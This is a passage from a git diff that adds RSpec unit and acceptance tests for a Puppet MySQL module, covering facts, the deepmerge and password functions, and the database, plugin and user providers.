fact('operatingsystemmajrelease') == '8' && shell('puppet --version').stdout =~ %r{^4\.2} + c.filter_run_excluding skip_pup_5016: true + end + + # Configure all nodes in nodeset + c.before :suite do + run_puppet_access_login(user: 'admin') if pe_install? && puppet_version =~ %r{(5\.\d\.\d)} + hosts.each do |host| + # This will be removed, this is temporary to test localisation. + if (fact('osfamily') == 'Debian' || fact('osfamily') == 'RedHat') && (puppet_version >= '4.10.5' && puppet_version < '5.2.0') + on(host, 'mkdir /opt/puppetlabs/puppet/share/locale/ja') + on(host, 'touch /opt/puppetlabs/puppet/share/locale/ja/puppet.po') + end + if fact('osfamily') == 'Debian' + # install language on debian systems + install_language_on(host, 'ja_JP.utf-8') if not_controller(host) + # This will be removed, this is temporary to test localisation. + end + # Required for binding tests. + if fact('osfamily') == 'RedHat' + if fact('operatingsystemmajrelease') =~ %r{7} || fact('operatingsystem') =~ %r{Fedora} + shell('yum install -y bzip2') + end + end + on host, puppet('module', 'install', 'stahnma/epel') + end + end +end + +shared_examples 'a idempotent resource' do + it 'applies with no errors' do + apply_manifest(pp, catch_failures: true) + end + + it 'applies a second time without changes', :skip_pup_5016 do + apply_manifest(pp, catch_changes: true) + end +end diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/spec_helper_local.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/spec_helper_local.rb new file mode 100644 index 000000000..9ff7f23e5 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/spec_helper_local.rb @@ -0,0 +1,2 @@ +require 'rspec-puppet-facts' +include RspecPuppetFacts diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/facter/mysql_server_id_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/facter/mysql_server_id_spec.rb new file mode 100644 index 000000000..889dab0c9 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/facter/mysql_server_id_spec.rb @@ -0,0 +1,27 @@ +require 'spec_helper' + +describe Facter::Util::Fact.to_s do + before(:each) do + Facter.clear + end + + describe 'mysql_server_id' do + context "igalic's laptop" do + before :each do + Facter.fact(:macaddress).stubs(:value).returns('3c:97:0e:69:fb:e1') + end + it do + Facter.fact(:mysql_server_id).value.to_s.should == '4116385' + end + end + + context 'node with lo only' do + before :each do + Facter.fact(:macaddress).stubs(:value).returns('00:00:00:00:00:00') + end + it do + Facter.fact(:mysql_server_id).value.to_s.should == '0' + end + end + end +end diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/facter/mysql_version_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/facter/mysql_version_spec.rb new file mode 100644 index 000000000..d49fe1db3 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/facter/mysql_version_spec.rb @@ -0,0 +1,18 @@ +require 'spec_helper' + +describe Facter::Util::Fact.to_s do + before(:each) do + Facter.clear + end + + describe 'mysql_version' do + context 'with value' do + before :each do + Facter::Util::Resolution.stubs(:exec).with('mysql --version').returns('mysql Ver 14.12 Distrib 5.0.95, for redhat-linux-gnu (x86_64) using readline 5.1') + end + it { + expect(Facter.fact(:mysql_version).value).to eq('5.0.95') + } + end + end +end diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/facter/mysqld_version_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/facter/mysqld_version_spec.rb new file mode 100644 index 000000000..e2c01ea13 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/facter/mysqld_version_spec.rb @@ -0,0 +1,18 @@ +require 'spec_helper' + +describe Facter::Util::Fact.to_s do + before(:each) do + Facter.clear + end + + describe 'mysqld_version' do + context 'with value' do + before :each do + Facter::Util::Resolution.stubs(:exec).with('mysqld -V 2>/dev/null').returns('mysqld Ver 5.5.49-37.9 for Linux on x86_64 (Percona Server (GPL), Release 37.9, Revision efa0073)') + end + it { + expect(Facter.fact(:mysqld_version).value).to eq('mysqld Ver 5.5.49-37.9 for Linux on x86_64 (Percona Server (GPL), Release 37.9, Revision efa0073)') + } + end + end +end diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/functions/mysql_deepmerge_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/functions/mysql_deepmerge_spec.rb new file mode 100644 index 000000000..c2ad8895d --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/functions/mysql_deepmerge_spec.rb @@ -0,0 +1,102 @@ +#! /usr/bin/env ruby -S rspec # rubocop:disable Lint/ScriptPermission + +require 'spec_helper' + +describe Puppet::Parser::Functions.function(:mysql_deepmerge) do + let(:scope) { PuppetlabsSpec::PuppetInternals.scope } + + describe 'when calling mysql_deepmerge from puppet' do + it 'does not compile when no arguments are passed' do + skip('Fails on 2.6.x, see bug #15912') if Puppet.version =~ %r{^2\.6\.} + Puppet[:code] = '$x = mysql_deepmerge()' + expect { + scope.compiler.compile + }.to raise_error(Puppet::ParseError, %r{wrong number of arguments}) + end + + it 'does not compile when 1 argument is passed' do + skip('Fails on 2.6.x, see bug #15912') if Puppet.version =~ %r{^2\.6\.} + Puppet[:code] = "$my_hash={'one' => 1}\n$x = mysql_deepmerge($my_hash)" + expect { + scope.compiler.compile + }.to raise_error(Puppet::ParseError, %r{wrong number of arguments}) + end + end + + describe 'when calling mysql_deepmerge on the scope instance' do + it 'accepts empty strings as puppet undef' do + expect { scope.function_mysql_deepmerge([{}, '']) }.not_to raise_error + end + + index_values = %w[one two three] + expected_values_one = %w[1 2 2] + it 'is able to mysql_deepmerge two hashes' do + new_hash = scope.function_mysql_deepmerge([{ 'one' => '1', 'two' => '1' }, { 'two' => '2', 'three' => '2' }]) + index_values.each_with_index do |index, expected| + expect(new_hash[index]).to eq(expected_values_one[expected]) + end + end + + it 'mysql_deepmerges multiple hashes' do + hash = scope.function_mysql_deepmerge([{ 'one' => 1 }, { 'one' => '2' }, { 'one' => '3' }]) + expect(hash['one']).to eq('3') + end + + it 'accepts empty hashes' do + expect(scope.function_mysql_deepmerge([{}, {}, {}])).to eq({}) + end + + expected_values_two = [1, 2, 'four' => 4] + it 'mysql_deepmerges subhashes' do + hash = scope.function_mysql_deepmerge([{ 'one' => 1 }, { 'two' => 2, 'three' => { 'four' => 4 } }]) + index_values.each_with_index do |index, expected| + expect(hash[index]).to eq(expected_values_two[expected]) + end + end + + it 'appends to subhashes' do + hash = scope.function_mysql_deepmerge([{ 'one' => { 'two' => 2 } }, { 'one' => { 'three' => 3 } }]) + expect(hash['one']).to eq('two' => 2, 'three' => 3) + end + + expected_values_three = [1, 'dos', { 'four' => 4, 'five' => 5 }] + it 'appends to subhashes 2' do + hash = scope.function_mysql_deepmerge([{ 'one' => 1, 'two' => 2, 'three' => { 'four' => 4 } }, { 'two' => 'dos', 'three' => { 'five' => 5 } }]) + index_values.each_with_index do |index, expected| + expect(hash[index]).to eq(expected_values_three[expected]) + end + end + + index_values_two = %w[key1 key2] + expected_values_four = [{ 'a' => 1, 'b' => 99 }, 'c' => 3] + it 'appends to subhashes 3' do + hash = scope.function_mysql_deepmerge([{ 'key1' => { 'a' => 1, 'b' => 2 }, 'key2' => { 'c' => 3 } }, { 'key1' => { 'b' => 99 } }]) + index_values_two.each_with_index do |index, expected| + expect(hash[index]).to eq(expected_values_four[expected]) + end + end + + it 'equates keys mod dash and underscore #value' do + hash = scope.function_mysql_deepmerge([{ 'a-b-c' => 1 }, { 'a_b_c' => 10 }]) + expect(hash['a_b_c']).to eq(10) + end + it 'equates keys mod dash and underscore #not' do + hash = scope.function_mysql_deepmerge([{ 'a-b-c' => 1 }, { 'a_b_c' => 10 }]) + expect(hash).not_to have_key('a-b-c') + end + + index_values_three = ['a_b_c', 'b-c-d'] + expected_values_five = [10, { 'e-f-g' => 3, 'c_d_e' => 12 }] + index_values_error = ['a-b-c', 'b_c_d'] + index_values_three.each_with_index do |index, expected| + it 'keeps style of the last when keys are euqal mod dash and underscore #value' do + hash = scope.function_mysql_deepmerge([{ 'a-b-c' => 1, 'b_c_d' => { 'c-d-e' => 2, 'e-f-g' => 3 } }, { 'a_b_c' => 10, 'b-c-d' => { 'c_d_e' => 12 } }]) + expect(hash[index]).to eq(expected_values_five[expected]) + end + it 'keeps style of the last when keys are euqal mod dash and underscore #not' do + hash = scope.function_mysql_deepmerge([{ 'a-b-c' => 1, 'b_c_d' => { 'c-d-e' => 2, 'e-f-g' => 3 } }, { 'a_b_c' => 10, 'b-c-d' => { 'c_d_e' => 12 } }]) + expect(hash).not_to have_key(index_values_error[expected]) + end + end + end +end diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/functions/mysql_password_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/functions/mysql_password_spec.rb new file mode 100644 index 000000000..b1794f8b1 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/functions/mysql_password_spec.rb @@ -0,0 +1,36 @@ +require 'spec_helper' + +describe 'the mysql_password function' do + before :all do # rubocop:disable RSpec/BeforeAfterAll + Puppet::Parser::Functions.autoloader.loadall + end + + let(:scope) { PuppetlabsSpec::PuppetInternals.scope } + + it 'exists' do + expect(Puppet::Parser::Functions.function('mysql_password')).to eq('function_mysql_password') + end + + it 'raises a ParseError if there is less than 1 arguments' do + expect { scope.function_mysql_password([]) }.to(raise_error(Puppet::ParseError)) + end + + it 'raises a ParseError if there is more than 1 arguments' do + expect { scope.function_mysql_password(%w[foo bar]) }.to(raise_error(Puppet::ParseError)) + end + + it 'converts password into a hash' do + result = scope.function_mysql_password(%w[password]) + expect(result).to(eq('*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19')) + end + + it 'converts an empty password into a empty string' do + result = scope.function_mysql_password(['']) + expect(result).to(eq('')) + end + + it 'does not convert a password that is already a hash' do + result = scope.function_mysql_password(['*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19']) + expect(result).to(eq('*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19')) + end +end diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/provider/mysql_database/mysql_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/provider/mysql_database/mysql_spec.rb new file mode 100644 index 000000000..ffa624444 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/provider/mysql_database/mysql_spec.rb @@ -0,0 +1,113 @@ +require 'spec_helper' + +describe Puppet::Type.type(:mysql_database).provider(:mysql) do + let(:defaults_file) { '--defaults-extra-file=/root/.my.cnf' } + let(:parsed_databases) { %w[information_schema mydb mysql performance_schema test] } + let(:provider) { resource.provider } + let(:instance) { provider.class.instances.first } + let(:resource) do + Puppet::Type.type(:mysql_database).new( + ensure: :present, charset: 'latin1', + collate: 'latin1_swedish_ci', name: 'new_database', + provider: described_class.name + ) + end + let(:raw_databases) do + # rubocop:disable Layout/IndentHeredoc + <<-SQL_OUTPUT +information_schema +mydb +mysql +performance_schema +test + SQL_OUTPUT + # rubocop:enable Layout/IndentHeredoc + end + + before :each do + Facter.stubs(:value).with(:root_home).returns('/root') + Puppet::Util.stubs(:which).with('mysql').returns('/usr/bin/mysql') + File.stubs(:file?).with('/root/.my.cnf').returns(true) + provider.class.stubs(:mysql_caller).with('show databases', 'regular').returns('new_database') + provider.class.stubs(:mysql_caller).with(["show variables like '%_database'", 'new_database'], 'regular').returns("character_set_database latin1\ncollation_database latin1_swedish_ci\nskip_show_database OFF") # rubocop:disable Metrics/LineLength + end + + describe 'self.instances' do + it 'returns an array of databases' do + provider.class.stubs(:mysql_caller).with('show databases', 'regular').returns(raw_databases) + raw_databases.each_line do |db| + provider.class.stubs(:mysql_caller).with(["show variables like '%_database'", db.chomp], 'regular').returns("character_set_database latin1\ncollation_database latin1_swedish_ci\nskip_show_database OFF") # rubocop:disable Metrics/LineLength + end + databases = provider.class.instances.map { |x| x.name } + expect(parsed_databases).to match_array(databases) + end + end + + describe 'self.prefetch' do + it 'exists' do + provider.class.instances + provider.class.prefetch({}) + end + end + + describe 'create' do + it 'makes a database' do + provider.class.expects(:mysql_caller).with("create database if not exists `#{resource[:name]}` character set `#{resource[:charset]}` collate `#{resource[:collate]}`", 'regular') + provider.expects(:exists?).returns(true) + expect(provider.create).to be_truthy + end + end + + describe 'destroy' do + it 'removes a database if present' do + provider.class.expects(:mysql_caller).with("drop database if exists `#{resource[:name]}`", 'regular') + provider.expects(:exists?).returns(false) + expect(provider.destroy).to be_truthy + end + end + + describe 'exists?' do + it 'checks if database exists' do + expect(instance).to be_exists + end + end + + describe 'self.defaults_file' do + it 'sets --defaults-extra-file' do + File.stubs(:file?).with('/root/.my.cnf').returns(true) + expect(provider.defaults_file).to eq '--defaults-extra-file=/root/.my.cnf' + end + it 'fails if file missing' do + File.stubs(:file?).with('/root/.my.cnf').returns(false) + expect(provider.defaults_file).to be_nil + end + end + + describe 'charset' do + it 'returns a charset' do + expect(instance.charset).to eq('latin1') + end + end + + describe 'charset=' do + it 'changes the charset' do + provider.class.expects(:mysql_caller).with("alter database `#{resource[:name]}` CHARACTER SET blah", 'regular').returns('0') + + provider.charset = 'blah' + end + end + + describe 'collate' do + it 'returns a collate' do + expect(instance.collate).to eq('latin1_swedish_ci') + end + end + + describe 'collate=' do + it 'changes the collate' do + provider.class.expects(:mysql_caller).with("alter database `#{resource[:name]}` COLLATE blah", 'regular').returns('0') + + provider.collate = 'blah' + end + end +end diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/provider/mysql_plugin/mysql_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/provider/mysql_plugin/mysql_spec.rb new file mode 100644 index 000000000..5dea0f735 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/provider/mysql_plugin/mysql_spec.rb @@ -0,0 +1,68 @@ +require 'spec_helper' + +describe Puppet::Type.type(:mysql_plugin).provider(:mysql) do + let(:defaults_file) { '--defaults-extra-file=/root/.my.cnf' } + let(:provider) { resource.provider } + let(:instance) { provider.class.instances.first } + let(:resource) do + Puppet::Type.type(:mysql_plugin).new( + ensure: :present, + soname: 'auth_socket.so', + name: 'auth_socket', + provider: described_class.name, + ) + end + + before :each do + Facter.stubs(:value).with(:root_home).returns('/root') + Puppet::Util.stubs(:which).with('mysql').returns('/usr/bin/mysql') + File.stubs(:file?).with('/root/.my.cnf').returns(true) + provider.class.stubs(:mysql_caller).with('show plugins', 'regular').returns('auth_socket ACTIVE AUTHENTICATION auth_socket.so GPL') + end + + describe 'self.prefetch' do + it 'exists' do + provider.class.instances + provider.class.prefetch({}) + end + end + + describe 'create' do + it 'loads a plugin' do + provider.class.expects(:mysql_caller).with("install plugin #{resource[:name]} soname '#{resource[:soname]}'", 'regular') + provider.expects(:exists?).returns(true) + expect(provider.create).to be_truthy + end + end + + describe 'destroy' do + it 'unloads a plugin if present' do + provider.class.expects(:mysql_caller).with("uninstall plugin #{resource[:name]}", 'regular') + provider.expects(:exists?).returns(false) + expect(provider.destroy).to be_truthy + end + end + + describe 'exists?' do + it 'checks if plugin exists' do + expect(instance).to be_exists + end + end + + describe 'self.defaults_file' do + it 'sets --defaults-extra-file' do + File.stubs(:file?).with('/root/.my.cnf').returns(true) + expect(provider.defaults_file).to eq '--defaults-extra-file=/root/.my.cnf' + end + it 'fails if file missing' do + File.stubs(:file?).with('/root/.my.cnf').returns(false) + expect(provider.defaults_file).to be_nil + end + end + + describe 'soname' do + it 'returns a soname' do + expect(instance.soname).to eq('auth_socket.so') + end + end +end diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/provider/mysql_user/mysql_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/provider/mysql_user/mysql_spec.rb new file mode 100644 index 000000000..84d7b63b3 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/provider/mysql_user/mysql_spec.rb @@ -0,0 +1,382 @@ +require 'spec_helper' + +describe Puppet::Type.type(:mysql_user).provider(:mysql) do + # Output of mysqld -V + mysql_version_string_hash = { + 'mysql-5.5' => + { + version: '5.5.46', + string: '/usr/sbin/mysqld Ver 5.5.46-log for Linux on x86_64 (MySQL Community Server (GPL))', + mysql_type: 'mysql', + }, + 'mysql-5.6' => + { + version: '5.6.27', + string: '/usr/sbin/mysqld Ver 5.6.27 for Linux on x86_64 (MySQL Community Server (GPL))', + mysql_type: 'mysql', + }, + 'mysql-5.7.1' => + { + version: '5.7.1', + string: '/usr/sbin/mysqld Ver 5.7.1 for Linux on x86_64 (MySQL Community Server (GPL))', + mysql_type: 'mysql', + }, + 'mysql-5.7.6' => + { + version: '5.7.8', + string: '/usr/sbin/mysqld Ver 5.7.8-rc for Linux on x86_64 (MySQL Community Server (GPL))', + mysql_type: 'mysql', + }, + 'mariadb-10.0' => + { + version: '10.0.21', + string: '/usr/sbin/mysqld Ver 10.0.21-MariaDB for Linux on x86_64 (MariaDB Server)', + mysql_type: 'mariadb', + }, + 'mariadb-10.0-deb8' => + { + version: '10.0.23', + string: '/usr/sbin/mysqld (mysqld 10.0.23-MariaDB-0+deb8u1)', + mysql_type: 'mariadb', + }, + 'percona-5.5' => + { + version: '5.5.39', + string: 'mysqld Ver 5.5.39-36.0-55 for Linux on x86_64 (Percona XtraDB Cluster (GPL), Release rel36.0, Revision 824, WSREP version 25.11, wsrep_25.11.r4023)', + mysql_type: 'percona', + }, + } + + let(:defaults_file) { '--defaults-extra-file=/root/.my.cnf' } + let(:system_database) { '--database=mysql' } + let(:newhash) { '*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF5' } + + let(:raw_users) do + # rubocop:disable Layout/IndentHeredoc + <<-SQL_OUTPUT +root@127.0.0.1 +root@::1 +@localhost +debian-sys-maint@localhost +root@localhost +usvn_user@localhost +@vagrant-ubuntu-raring-64 + SQL_OUTPUT + # rubocop:enable Layout/IndentHeredoc + end + + let(:parsed_users) { %w[root@127.0.0.1 root@::1 @localhost debian-sys-maint@localhost root@localhost usvn_user@localhost @vagrant-ubuntu-raring-64] } + let(:provider) { resource.provider } + let(:instance) { provider.class.instances.first } + let(:resource) do + Puppet::Type.type(:mysql_user).new( + ensure: :present, + password_hash: '*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4', + name: 'joe@localhost', + max_user_connections: '10', + max_connections_per_hour: '10', + max_queries_per_hour: '10', + max_updates_per_hour: '10', + provider: described_class.name, + ) + end + + before :each do + # Set up the stubs for an instances call. + Facter.stubs(:value).with(:root_home).returns('/root') + Facter.stubs(:value).with(:mysql_version).returns('5.6.24') + provider.class.instance_variable_set(:@mysqld_version_string, '5.6.24') + Puppet::Util.stubs(:which).with('mysql').returns('/usr/bin/mysql') + Puppet::Util.stubs(:which).with('mysqld').returns('/usr/sbin/mysqld') + File.stubs(:file?).with('/root/.my.cnf').returns(true) + provider.class.stubs(:mysql_caller).with("SELECT CONCAT(User, '@',Host) AS User FROM mysql.user", 'regular').returns('joe@localhost') + provider.class.stubs(:mysql_caller).with("SELECT MAX_USER_CONNECTIONS, MAX_CONNECTIONS, MAX_QUESTIONS, MAX_UPDATES, SSL_TYPE, SSL_CIPHER, X509_ISSUER, X509_SUBJECT, PASSWORD /*!50508 , PLUGIN */ FROM mysql.user WHERE CONCAT(user, '@', host) = 'joe@localhost'", 'regular').returns('10 10 10 10 *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4') # rubocop:disable Metrics/LineLength + end + + describe 'self.instances' do + it 'returns an array of users MySQL 5.5' do + provider.class.instance_variable_set(:@mysqld_version_string, mysql_version_string_hash['mysql-5.5'][:string]) + provider.class.stubs(:mysql_caller).with("SELECT CONCAT(User, '@',Host) AS User FROM mysql.user", 'regular').returns(raw_users) + parsed_users.each { |user| provider.class.stubs(:mysql_caller).with("SELECT MAX_USER_CONNECTIONS, MAX_CONNECTIONS, MAX_QUESTIONS, MAX_UPDATES, SSL_TYPE, SSL_CIPHER, X509_ISSUER, X509_SUBJECT, PASSWORD /*!50508 , PLUGIN */ FROM mysql.user WHERE CONCAT(user, '@', host) = '#{user}'", 'regular').returns('10 10 10 10 ') } # rubocop:disable Metrics/LineLength + + usernames = provider.class.instances.map { |x| x.name } + expect(parsed_users).to match_array(usernames) + end + it 'returns an array of users MySQL 5.6' do + provider.class.instance_variable_set(:@mysqld_version_string, mysql_version_string_hash['mysql-5.6'][:string]) + provider.class.stubs(:mysql_caller).with("SELECT CONCAT(User, '@',Host) AS User FROM mysql.user", 'regular').returns(raw_users) + parsed_users.each { |user| provider.class.stubs(:mysql_caller).with("SELECT MAX_USER_CONNECTIONS, MAX_CONNECTIONS, MAX_QUESTIONS, MAX_UPDATES, SSL_TYPE, SSL_CIPHER, X509_ISSUER, X509_SUBJECT, PASSWORD /*!50508 , PLUGIN */ FROM mysql.user WHERE CONCAT(user, '@', host) = '#{user}'", 'regular').returns('10 10 10 10 ') } # rubocop:disable Metrics/LineLength + + usernames = provider.class.instances.map { |x| x.name } + expect(parsed_users).to match_array(usernames) + end + it 'returns an array of users MySQL >= 5.7.0 < 5.7.6' do + provider.class.instance_variable_set(:@mysqld_version_string, mysql_version_string_hash['mysql-5.7.1'][:string]) + provider.class.stubs(:mysql_caller).with("SELECT CONCAT(User, '@',Host) AS User FROM mysql.user", 'regular').returns(raw_users) + parsed_users.each { |user| provider.class.stubs(:mysql_caller).with("SELECT MAX_USER_CONNECTIONS, MAX_CONNECTIONS, MAX_QUESTIONS, MAX_UPDATES, SSL_TYPE, SSL_CIPHER, X509_ISSUER, X509_SUBJECT, PASSWORD /*!50508 , PLUGIN */ FROM mysql.user WHERE CONCAT(user, '@', host) = '#{user}'", 'regular').returns('10 10 10 10 ') } # rubocop:disable Metrics/LineLength + + usernames = provider.class.instances.map { |x| x.name } + expect(parsed_users).to match_array(usernames) + end + it 'returns an array of users MySQL >= 5.7.6' do + provider.class.instance_variable_set(:@mysqld_version_string, mysql_version_string_hash['mysql-5.7.6'][:string]) + provider.class.stubs(:mysql_caller).with("SELECT CONCAT(User, '@',Host) AS User FROM mysql.user", 'regular').returns(raw_users) + parsed_users.each { |user| provider.class.stubs(:mysql_caller).with("SELECT MAX_USER_CONNECTIONS, MAX_CONNECTIONS, MAX_QUESTIONS, MAX_UPDATES, SSL_TYPE, SSL_CIPHER, X509_ISSUER, X509_SUBJECT, AUTHENTICATION_STRING, PLUGIN FROM mysql.user WHERE CONCAT(user, '@', host) = '#{user}'", 'regular').returns('10 10 10 10 ') } # rubocop:disable Metrics/LineLength + + usernames = provider.class.instances.map { |x| x.name } + expect(parsed_users).to match_array(usernames) + end + it 'returns an array of users mariadb 10.0' do + provider.class.instance_variable_set(:@mysqld_version_string, mysql_version_string_hash['mariadb-10.0'][:string]) + provider.class.stubs(:mysql_caller).with("SELECT CONCAT(User, '@',Host) AS User FROM mysql.user", 'regular').returns(raw_users) + parsed_users.each { |user| provider.class.stubs(:mysql_caller).with("SELECT MAX_USER_CONNECTIONS, MAX_CONNECTIONS, MAX_QUESTIONS, MAX_UPDATES, SSL_TYPE, SSL_CIPHER, X509_ISSUER, X509_SUBJECT, PASSWORD /*!50508 , PLUGIN */ FROM mysql.user WHERE CONCAT(user, '@', host) = '#{user}'", 'regular').returns('10 10 10 10 ') } # rubocop:disable Metrics/LineLength + + usernames = provider.class.instances.map { |x| x.name } + expect(parsed_users).to match_array(usernames) + end + it 'returns an array of users percona 5.5' do + provider.class.instance_variable_set(:@mysqld_version_string, mysql_version_string_hash['percona-5.5'][:string]) + provider.class.stubs(:mysql_caller).with("SELECT CONCAT(User, '@',Host) AS User FROM mysql.user", 'regular').returns(raw_users) + parsed_users.each { |user| provider.class.stubs(:mysql_caller).with("SELECT MAX_USER_CONNECTIONS, MAX_CONNECTIONS, MAX_QUESTIONS, MAX_UPDATES, SSL_TYPE, SSL_CIPHER, X509_ISSUER, X509_SUBJECT, PASSWORD /*!50508 , PLUGIN */ FROM mysql.user WHERE CONCAT(user, '@', host) = '#{user}'", 'regular').returns('10 10 10 10 ') } # rubocop:disable Metrics/LineLength + + usernames = provider.class.instances.map { |x| x.name } + expect(parsed_users).to match_array(usernames) + end + end + + describe 'mysql version and type detection' do + mysql_version_string_hash.each do |_name, line| + version = line[:version] + string = line[:string] + mysql_type = line[:mysql_type] + it "detects version '#{version}'" do + provider.class.instance_variable_set(:@mysqld_version_string, string) + expect(provider.mysqld_version).to eq(version) + end + it "detects type '#{mysql_type}'" do + provider.class.instance_variable_set(:@mysqld_version_string, string) + expect(provider.mysqld_type).to eq(mysql_type) + end + end + end + + describe 'self.prefetch' do + it 'exists' do + provider.class.instances + provider.class.prefetch({}) + end + end + + describe 'create' do + it 'makes a user' do + provider.class.expects(:mysql_caller).with("CREATE USER 'joe'@'localhost' IDENTIFIED BY PASSWORD '*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4'", 'system') + provider.class.expects(:mysql_caller).with("GRANT USAGE ON *.* TO 'joe'@'localhost' WITH MAX_USER_CONNECTIONS 10 MAX_CONNECTIONS_PER_HOUR 10 MAX_QUERIES_PER_HOUR 10 MAX_UPDATES_PER_HOUR 10", 'system') # rubocop:disable Metrics/LineLength + provider.class.expects(:mysql_caller).with("GRANT USAGE ON *.* TO 'joe'@'localhost' REQUIRE NONE", 'system') + provider.expects(:exists?).returns(true) + expect(provider.create).to be_truthy + end + end + + describe 'destroy' do + it 'removes a user if present' do + provider.class.expects(:mysql_caller).with("DROP USER 'joe'@'localhost'", 'system') + provider.expects(:exists?).returns(false) + expect(provider.destroy).to be_truthy + end + end + + describe 'exists?' do + it 'checks if user exists' do + expect(instance).to be_exists + end + end + + describe 'self.mysqld_version' do + it 'uses the mysqld_version fact if unset' do + provider.class.instance_variable_set(:@mysqld_version_string, nil) + Facter.stubs(:value).with(:mysqld_version).returns('5.6.24') + expect(provider.mysqld_version).to eq '5.6.24' + end + it 'returns 5.7.6 for "mysqld Ver 5.7.6 for Linux on x86_64 (MySQL Community Server (GPL))"' do + provider.class.instance_variable_set(:@mysqld_version_string, 'mysqld Ver 5.7.6 for Linux on x86_64 (MySQL Community Server (GPL))') + expect(provider.mysqld_version).to eq '5.7.6' + end + it 'returns 5.7.6 for "mysqld Ver 5.7.6-rc for Linux on x86_64 (MySQL Community Server (GPL))"' do + provider.class.instance_variable_set(:@mysqld_version_string, 'mysqld Ver 5.7.6-rc for Linux on x86_64 (MySQL Community Server (GPL))') + expect(provider.mysqld_version).to eq '5.7.6' + end + it 'detects >= 5.7.6 for 5.7.7-log' do + provider.class.instance_variable_set(:@mysqld_version_string, 'mysqld Ver 5.7.7-log for Linux on x86_64 (MySQL Community Server (GPL))') + expect(Puppet::Util::Package.versioncmp(provider.mysqld_version, '5.7.6')).to be >= 0 + end + it 'detects < 5.7.6 for 5.7.5-log' do + provider.class.instance_variable_set(:@mysqld_version_string, 'mysqld Ver 5.7.5-log for Linux on x86_64 (MySQL Community Server (GPL))') + expect(Puppet::Util::Package.versioncmp(provider.mysqld_version, '5.7.6')).to be < 0 + end + end + + describe 'self.defaults_file' do + it 'sets --defaults-extra-file' do + File.stubs(:file?).with('/root/.my.cnf').returns(true) + expect(provider.defaults_file).to eq '--defaults-extra-file=/root/.my.cnf' + end + it 'fails if file missing' do + File.expects(:file?).with('/root/.my.cnf').returns(false) + expect(provider.defaults_file).to be_nil + end + end + + describe 'password_hash' do + it 'returns a hash' do + expect(instance.password_hash).to eq('*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4') + end + end + + describe 'password_hash=' do + it 'changes the hash mysql 5.5' do + provider.class.instance_variable_set(:@mysqld_version_string, mysql_version_string_hash['mysql-5.5'][:string]) + provider.class.expects(:mysql_caller).with("SET PASSWORD FOR 'joe'@'localhost' = '*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF5'", 'system').returns('0') + + provider.expects(:password_hash).returns('*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF5') + provider.password_hash = '*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF5' + end + it 'changes the hash mysql 5.6' do + provider.class.instance_variable_set(:@mysqld_version_string, mysql_version_string_hash['mysql-5.6'][:string]) + provider.class.expects(:mysql_caller).with("SET PASSWORD FOR 'joe'@'localhost' = '*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF5'", 'system').returns('0') + + provider.expects(:password_hash).returns('*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF5') + provider.password_hash = '*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF5' + end + it 'changes the hash mysql < 5.7.6' do + provider.class.instance_variable_set(:@mysqld_version_string, mysql_version_string_hash['mysql-5.7.1'][:string]) + provider.class.expects(:mysql_caller).with("SET PASSWORD FOR 'joe'@'localhost' = '*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF5'", 'system').returns('0') + + provider.expects(:password_hash).returns('*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF5') + provider.password_hash = '*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF5' + end + it 'changes the hash MySQL >= 5.7.6' do + provider.class.instance_variable_set(:@mysqld_version_string, mysql_version_string_hash['mysql-5.7.6'][:string]) + provider.class.expects(:mysql_caller).with("ALTER USER 'joe'@'localhost' IDENTIFIED WITH mysql_native_password AS '*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF5'", 'system').returns('0') # rubocop:disable Metrics/LineLength + + 